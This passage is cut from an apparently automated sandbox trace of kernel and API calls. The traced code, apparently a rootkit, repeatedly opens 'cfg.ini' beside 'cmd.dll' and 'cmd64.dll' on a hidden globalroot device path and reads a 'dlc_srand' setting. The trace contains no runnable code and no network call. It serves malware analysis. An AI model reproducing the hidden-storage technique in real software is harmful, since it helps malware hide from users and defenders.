_MaxCount=0x10) returned 7 [0127.131] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.131] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.131] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.131] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7aa0 [0127.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.131] KeLeaveCriticalRegion () [0127.132] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.132] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.132] KeEnterCriticalRegion () [0127.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.132] KeLeaveCriticalRegion () [0127.132] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.132] KeEnterCriticalRegion () [0127.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.132] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.132] IdePortDispatch () returned 0x103 [0127.132] KeWaitForMutexObject () returned 0x0 [0127.132] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.132] KeLeaveCriticalRegion () [0127.132] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.132] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.132] KeEnterCriticalRegion () [0127.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8a000 [0127.132] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.132] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.132] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.132] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.132] IdePortDispatch () returned 0x103 [0127.133] KeWaitForMutexObject () returned 0x0 [0127.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.133] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.133] IdePortDispatch () returned 0x103 [0127.133] KeWaitForMutexObject () returned 0x0 [0127.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.133] KeLeaveCriticalRegion () [0127.133] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.133] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.133] KeEnterCriticalRegion () [0127.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.133] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.133] KeLeaveCriticalRegion () [0127.133] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.133] KeEnterCriticalRegion () [0127.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.133] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.133] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.134] KeLeaveCriticalRegion () [0127.134] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.134] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.134] KeEnterCriticalRegion () [0127.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.134] ExFreePoolWithTag (P=0xfffffa800c4f7aa0, Tag=0x0) [0127.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.134] KeLeaveCriticalRegion () [0127.134] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.134] ReleaseMutex (hMutex=0xf0) returned 1 [0127.134] Sleep (dwMilliseconds=0x124f80) [0127.151] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.151] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.151] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.151] KeEnterCriticalRegion () [0127.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.151] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.151] IdePortDispatch () returned 0x103 [0127.151] KeWaitForMutexObject () returned 0x0 [0127.151] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.151] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.151] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.151] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.151] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.151] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7aa0 [0127.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.152] KeLeaveCriticalRegion () [0127.152] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.152] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.152] KeEnterCriticalRegion () [0127.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.152] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.152] KeLeaveCriticalRegion () [0127.152] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.152] KeEnterCriticalRegion () [0127.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.152] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.152] IdePortDispatch () returned 0x103 [0127.152] KeWaitForMutexObject () returned 0x0 [0127.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.152] KeLeaveCriticalRegion () [0127.152] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.152] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.153] KeEnterCriticalRegion () [0127.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8f000 [0127.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.153] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.153] IdePortDispatch () returned 0x103 [0127.153] KeWaitForMutexObject () returned 0x0 [0127.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.153] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.153] IdePortDispatch () returned 0x103 [0127.153] KeWaitForMutexObject () returned 0x0 [0127.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.153] KeLeaveCriticalRegion () [0127.153] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.154] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.154] KeEnterCriticalRegion () [0127.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.154] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.154] KeLeaveCriticalRegion () [0127.154] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.154] KeEnterCriticalRegion () [0127.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.154] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.154] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc670, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.154] KeLeaveCriticalRegion () [0127.154] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.154] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.154] KeEnterCriticalRegion () [0127.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.154] ExFreePoolWithTag (P=0xfffffa800c4f7aa0, Tag=0x0) [0127.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.154] KeLeaveCriticalRegion () [0127.155] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.155] ReleaseMutex (hMutex=0xf0) returned 1 [0127.155] Sleep (dwMilliseconds=0x124f80) [0127.160] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.163] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.163] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.163] KeEnterCriticalRegion () [0127.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.163] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.163] IdePortDispatch () returned 0x103 [0127.164] KeWaitForMutexObject () returned 0x0 [0127.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.164] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.164] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.164] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.164] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.164] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adcbc0 [0127.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.164] KeLeaveCriticalRegion () [0127.164] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.164] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.164] KeEnterCriticalRegion () [0127.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.164] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.164] KeLeaveCriticalRegion () [0127.164] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.164] KeEnterCriticalRegion () [0127.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.164] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.164] IdePortDispatch () returned 0x103 [0127.165] KeWaitForMutexObject () returned 0x0 [0127.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.165] KeLeaveCriticalRegion () [0127.165] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.165] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.165] KeEnterCriticalRegion () [0127.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.165] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b92000 [0127.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.165] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.165] IdePortDispatch () returned 0x103 [0127.165] KeWaitForMutexObject () returned 0x0 [0127.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.165] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.165] IdePortDispatch () returned 0x103 [0127.166] KeWaitForMutexObject () returned 0x0 [0127.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.168] KeLeaveCriticalRegion () [0127.168] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.169] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.169] KeEnterCriticalRegion () [0127.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.169] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.169] KeLeaveCriticalRegion () [0127.169] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.169] KeEnterCriticalRegion () [0127.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.169] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.169] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.169] KeLeaveCriticalRegion () [0127.169] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.169] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.169] KeEnterCriticalRegion () [0127.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.169] ExFreePoolWithTag (P=0xfffffa8002adcbc0, Tag=0x0) [0127.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.169] KeLeaveCriticalRegion () [0127.169] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.169] ReleaseMutex (hMutex=0xf0) returned 1 [0127.169] Sleep (dwMilliseconds=0x124f80) [0127.188] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.188] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.188] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.188] KeEnterCriticalRegion () [0127.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.188] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.188] IdePortDispatch () returned 0x103 [0127.188] KeWaitForMutexObject () returned 0x0 [0127.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.189] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.189] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.189] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.189] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.189] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.189] KeLeaveCriticalRegion () [0127.189] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.189] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.189] KeEnterCriticalRegion () [0127.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.189] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.189] KeLeaveCriticalRegion () [0127.189] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.189] KeEnterCriticalRegion () [0127.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.189] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.189] IdePortDispatch () returned 0x103 [0127.189] KeWaitForMutexObject () returned 0x0 [0127.190] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.190] KeLeaveCriticalRegion () [0127.190] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.190] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.190] KeEnterCriticalRegion () [0127.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.190] 